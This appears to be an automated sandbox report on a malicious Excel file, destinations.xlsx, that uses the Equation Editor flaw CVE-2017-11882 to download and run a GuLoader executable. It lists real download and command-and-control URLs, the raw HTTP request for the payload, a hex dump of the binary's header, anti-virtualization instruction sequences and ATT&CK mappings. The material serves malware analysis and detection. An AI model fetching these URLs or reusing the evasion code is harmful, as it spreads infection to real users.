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Windows Analysis Report destinations.xlsx

Overview

General Information

Sample Name:	destinations.xlsx
Analysis ID:	502631
MD5:	a4bb01370caeb6363f6dc7923585481e
SHA1:	3eff08923d9b179edcc99fe52d95a46755eac939
SHA256:	c45eacade4845c8cf141724b92d6fd4401d30233b18b17e295d2d7a9a8944c40
Tags:	VelvetSweatshopxlsx
Infos:
Most interesting Screenshot:

Detection

GuLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Sigma detected: EQNEDT32.EXE connecting to internet

Sigma detected: Droppers Exploiting CVE-2017-11882

Sigma detected: File Dropped By EQNEDT32EXE

Antivirus detection for URL or domain

Multi AV Scanner detection for dropped file

Yara detected GuLoader

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Sigma detected: Execution from Suspicious Folder

Office equation editor drops PE file

Tries to detect virtualization through RDTSC time measurements

Machine Learning detection for dropped file

C2 URLs / IPs found in malware configuration

Drops PE files to the user root directory

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Detected potential crypto function

Contains functionality to call native functions

Downloads executable code via HTTP

Contains functionality for execution timing, often used to detect debuggers

Abnormal high CPU Usage

Potential document exploit detected (unknown TCP traffic)

PE file contains strange resources

Drops PE files

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Office Equation Editor has been started

Drops PE files to the user directory

Potential document exploit detected (performs HTTP gets)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 2004 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)

EQNEDT32.EXE (PID: 2792 cmdline: 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

vbc.exe (PID: 684 cmdline: 'C:\Users\Public\vbc.exe' MD5: 8777020A37B6797241A489A707B9784B)

cleanup

Malware Configuration

Threatname: GuLoader

{"Payload URL": "http://implantecapilarpereira.com/NetGen"}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000004.00000002.671498542.0000000000290000.00000040.00000001.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security

Sigma Overview

Exploits:

Sigma detected: EQNEDT32.EXE connecting to internet

Show sources

Source: Network Connection

Author: Joe Security: Data: DestinationIp: 192.3.121.153, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 2792, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49167

Sigma detected: File Dropped By EQNEDT32EXE

Show sources

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 2792, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe

System Summary:

Sigma detected: Droppers Exploiting CVE-2017-11882

Show sources

Source: Process started

Author: Florian Roth: Data: Command: 'C:\Users\Public\vbc.exe' , CommandLine: 'C:\Users\Public\vbc.exe' , CommandLine|base64offset|contains: , Image: C:\Users\Public\vbc.exe, NewProcessName: C:\Users\Public\vbc.exe, OriginalFileName: C:\Users\Public\vbc.exe, ParentCommandLine: 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 2792, ProcessCommandLine: 'C:\Users\Public\vbc.exe' , ProcessId: 684

Sigma detected: Execution from Suspicious Folder

Show sources

Source: Process started

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 00000004.00000002.671498542.0000000000290000.00000040.00000001.sdmp

Malware Configuration Extractor: GuLoader {"Payload URL": "http://implantecapilarpereira.com/NetGen"}

Antivirus detection for URL or domain

Show sources

Source: http://192.3.121.153/00800800/vbc.exe

Avira URL Cloud: Label: malware

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe	Virustotal: Detection: 27%			Perma Link
Source: C:\Users\Public\vbc.exe	Virustotal: Detection: 27%			Perma Link

Machine Learning detection for dropped file

Show sources

Source: C:\Users\Public\vbc.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe	Joe Sandbox ML: detected

Exploits:

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Show sources

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe

Source: unknown

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Source: global traffic

TCP traffic: 192.168.2.22:49167 -> 192.3.121.153:80

Source: global traffic

TCP traffic: 192.168.2.22:49167 -> 192.3.121.153:80

Source: excel.exe

Memory has grown: Private usage: 4MB later: 44MB

Networking:

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor

URLs: http://implantecapilarpereira.com/NetGen

Source: Joe Sandbox View

ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 14 Oct 2021 05:37:49 GMTServer: Apache/2.4.51 (Win64) OpenSSL/1.1.1l PHP/7.3.31Last-Modified: Wed, 13 Oct 2021 14:42:26 GMTETag: "33000-5ce3cf88aac57"Accept-Ranges: bytesContent-Length: 208896Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d7 69 c6 c2 93 08 a8 91 93 08 a8 91 93 08 a8 91 10 14 a6 91 92 08 a8 91 dc 2a a1 91 9b 08 a8 91 a5 2e a5 91 92 08 a8 91 52 69 63 68 93 08 a8 91 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 82 f7 ea 52 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 e0 02 00 00 50 00 00 00 00 00 00 7c 13 00 00 00 10 00 00 00 f0 02 00 00 00 40 00 00 10 00 00 00 10 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 40 03 00 00 10 00 00 ea 02 04 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 24 e0 02 00 28 00 00 00 00 10 03 00 26 25 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 02 00 00 20 00 00 00 00 10 00 00 0c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 d4 02 00 00 10 00 00 00 e0 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 ec 13 00 00 00 f0 02 00 00 10 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 26 25 00 00 00 10 03 00 00 30 00 00 00 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 c3 1f b0 49 10 00 00 00 00 00 00 00 00 00 00 00 4d 53 56 42 56 4d 36 30 2e 44 4c 4c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic

HTTP traffic detected: GET /00800800/vbc.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.121.153Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.121.153
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.121.153
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.121.153
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.121.153
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.121.153
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.121.153
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.121.153
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.121.153
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.121.153
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.121.153
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.121.153
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.121.153
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.121.153
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.121.153
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.121.153
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.121.153
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.121.153
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.121.153
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.121.153
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.121.153
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.121.153
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.121.153
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.121.153
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.121.153
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.121.153
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.121.153
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.121.153
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.121.153
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.121.153
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.121.153
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.121.153
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.121.153
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.121.153
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.121.153
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.121.153
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.121.153
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.121.153
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.121.153
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.121.153
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.121.153
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.121.153
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.121.153
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.121.153
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.121.153
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.121.153
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.121.153
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.121.153
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.121.153
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.121.153
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.121.153

Source: vbc.exe, 00000004.00000002.672041405.00000000032C7000.00000002.00020000.sdmp	String found in binary or memory: http://localizability/practices/XML.asp
Source: vbc.exe, 00000004.00000002.672041405.00000000032C7000.00000002.00020000.sdmp	String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: vbc.exe, 00000004.00000002.672041405.00000000032C7000.00000002.00020000.sdmp	String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: vbc.exe, 00000004.00000002.672041405.00000000032C7000.00000002.00020000.sdmp	String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: vbc.exe, 00000004.00000002.672041405.00000000032C7000.00000002.00020000.sdmp	String found in binary or memory: http://www.icra.org/vocabulary/.

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5D127D2C.emf

Jump to behavior

Source: global traffic

System Summary:

Office equation editor drops PE file

Show sources

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\Public\vbc.exe			Jump to dropped file

Source: C:\Users\Public\vbc.exe	Code function: 4_2_002A557A
Source: C:\Users\Public\vbc.exe	Code function: 4_2_002B474A
Source: C:\Users\Public\vbc.exe	Code function: 4_2_002AE400
Source: C:\Users\Public\vbc.exe	Code function: 4_2_002A087E
Source: C:\Users\Public\vbc.exe	Code function: 4_2_002B00B4
Source: C:\Users\Public\vbc.exe	Code function: 4_2_002A00C6
Source: C:\Users\Public\vbc.exe	Code function: 4_2_002AECDD
Source: C:\Users\Public\vbc.exe	Code function: 4_2_002A7574
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00294AA2
Source: C:\Users\Public\vbc.exe	Code function: 4_2_002B130A
Source: C:\Users\Public\vbc.exe	Code function: 4_2_002A4B8B
Source: C:\Users\Public\vbc.exe	Code function: 4_2_002A6BF6
Source: C:\Users\Public\vbc.exe	Code function: 4_2_002B1BCE

Source: C:\Users\Public\vbc.exe

Code function: 4_2_002A557A NtAllocateVirtualMemory,

Source: C:\Users\Public\vbc.exe

Process Stats: CPU usage > 98%

Source: vbc[1].exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: vbc.exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Users\Public\vbc.exe	Memory allocated: 76F90000 page execute and read and write
Source: C:\Users\Public\vbc.exe	Memory allocated: 76E90000 page execute and read and write

Source: C:\Users\Public\vbc.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: C:\Users\Public\vbc.exe

Section loaded: C:\Windows\SysWOW64\msvbvm60.dll

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Source: unknown	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe'
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe'

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\~$destinations.xlsx

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRDE0E.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.expl.evad.winXLSX@4/15@0/1

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Data Obfuscation:

Yara detected GuLoader

Show sources

Source: Yara match

File source: 00000004.00000002.671498542.0000000000290000.00000040.00000001.sdmp, type: MEMORY

Source: C:\Users\Public\vbc.exe	Code function: 4_2_0041A474 push ebp; ret
Source: C:\Users\Public\vbc.exe	Code function: 4_2_0040E9CB push ecx; retf
Source: C:\Users\Public\vbc.exe	Code function: 4_2_004191F0 push ecx; ret
Source: C:\Users\Public\vbc.exe	Code function: 4_2_004131A3 push ecx; ret
Source: C:\Users\Public\vbc.exe	Code function: 4_2_004086CE push eax; retf
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00411ACE push ecx; ret
Source: C:\Users\Public\vbc.exe	Code function: 4_2_004132DE push ecx; ret
Source: C:\Users\Public\vbc.exe	Code function: 4_2_0041729D push edx; retf
Source: C:\Users\Public\vbc.exe	Code function: 4_2_0040DAAA push ecx; ret
Source: C:\Users\Public\vbc.exe	Code function: 4_2_0040E6B3 push ecx; ret
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00417AB9 push eax; ret
Source: C:\Users\Public\vbc.exe	Code function: 4_2_0040A750 push ss; retf
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00411B06 push ecx; ret
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00407B81 push esi; retf
Source: C:\Users\Public\vbc.exe	Code function: 4_2_002B4084 push FFFFFF94h; retf
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00291611 push esi; iretd
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00292A10 push FFFFFF94h; retf
Source: C:\Users\Public\vbc.exe	Code function: 4_2_0029465A push ebx; retf
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00291327 push esi; iretd
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00291366 push esi; iretd
Source: C:\Users\Public\vbc.exe	Code function: 4_2_002967BC push es; ret
Source: C:\Users\Public\vbc.exe	Code function: 4_2_002A6BF6 push FFFFFF94h; retf

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\Public\vbc.exe			Jump to dropped file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File created: C:\Users\Public\vbc.exe

Jump to dropped file

Boot Survival:

Drops PE files to the user root directory

Show sources

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File created: C:\Users\Public\vbc.exe

Jump to dropped file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Users\Public\vbc.exe

RDTSC instruction interceptor: First address: 00000000002AF8E2 second address: 00000000002AF8E2 instructions: 0x00000000 rdtsc 0x00000002 mov eax, 3AB33088h 0x00000007 sub eax, 03336DF3h 0x0000000c xor eax, 78D04D3Fh 0x00000011 xor eax, 4FAF8FABh 0x00000016 cpuid 0x00000018 popad 0x00000019 jmp 00007F9204BA6819h 0x0000001e cmp eax, edx 0x00000020 call 00007F9204BA66EAh 0x00000025 lfence 0x00000028 mov edx, 337D36F1h 0x0000002d xor edx, 66E5A0A3h 0x00000033 xor edx, 9D6B538Dh 0x00000039 xor edx, B70DC5CBh 0x0000003f mov edx, dword ptr [edx] 0x00000041 lfence 0x00000044 jmp 00007F9204BA681Dh 0x00000049 test cl, bl 0x0000004b ret 0x0000004c sub edx, esi 0x0000004e ret 0x0000004f add edi, edx 0x00000051 dec dword ptr [ebp+000000F8h] 0x00000057 cmp dword ptr [ebp+000000F8h], 00000000h 0x0000005e jne 00007F9204BA66CCh 0x00000060 call 00007F9204BA685Fh 0x00000065 call 00007F9204BA6846h 0x0000006a lfence 0x0000006d mov edx, 337D36F1h 0x00000072 xor edx, 66E5A0A3h 0x00000078 xor edx, 9D6B538Dh 0x0000007e xor edx, B70DC5CBh 0x00000084 mov edx, dword ptr [edx] 0x00000086 lfence 0x00000089 jmp 00007F9204BA681Dh 0x0000008e test cl, bl 0x00000090 ret 0x00000091 mov esi, edx 0x00000093 pushad 0x00000094 rdtsc

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 2844

Thread sleep time: -240000s >= -30000s

Source: C:\Users\Public\vbc.exe

Code function: 4_2_002AF8DA rdtsc

Source: C:\Users\Public\vbc.exe

Code function: 4_2_002AF8DA rdtsc

Source: C:\Users\Public\vbc.exe	Code function: 4_2_002AC054 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\Public\vbc.exe	Code function: 4_2_002AE990 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\Public\vbc.exe	Code function: 4_2_002A46A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\Public\vbc.exe	Code function: 4_2_002B1BCE mov eax, dword ptr fs:[00000030h]

Source: C:\Users\Public\vbc.exe

Code function: 4_2_002B474A RtlAddVectoredExceptionHandler,

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe'

Source: vbc.exe, 00000004.00000002.671672293.00000000009A0000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: vbc.exe, 00000004.00000002.671672293.00000000009A0000.00000002.00020000.sdmp	Binary or memory string: !Progman
Source: vbc.exe, 00000004.00000002.671672293.00000000009A0000.00000002.00020000.sdmp	Binary or memory string: Program Manager<

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Exploitation for Client Execution12	Path Interception	Process Injection12	Masquerading111	OS Credential Dumping	Security Software Discovery21	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Extra Window Memory Injection1	Virtualization/Sandbox Evasion1	LSASS Memory	Virtualization/Sandbox Evasion1	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Ingress Tool Transfer12	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Process Injection12	Security Account Manager	Process Discovery1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Obfuscated Files or Information1	NTDS	Remote System Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol121	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Extra Window Memory Injection1	LSA Secrets	File and Directory Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	System Information Discovery12	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

No Antivirus matches

Dropped Files

Source	Detection	Scanner	Link
C:\Users\Public\vbc.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe	27%	Virustotal	Browse
C:\Users\Public\vbc.exe	27%	Virustotal	Browse

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://implantecapilarpereira.com/NetGen	0%	Avira URL Cloud	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://192.3.121.153/00800800/vbc.exe	2%	Virustotal		Browse
http://192.3.121.153/00800800/vbc.exe	100%	Avira URL Cloud	malware
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://implantecapilarpereira.com/NetGen	true	Avira URL Cloud: safe	unknown
http://192.3.121.153/00800800/vbc.exe	true	2%, Virustotal, Browse Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
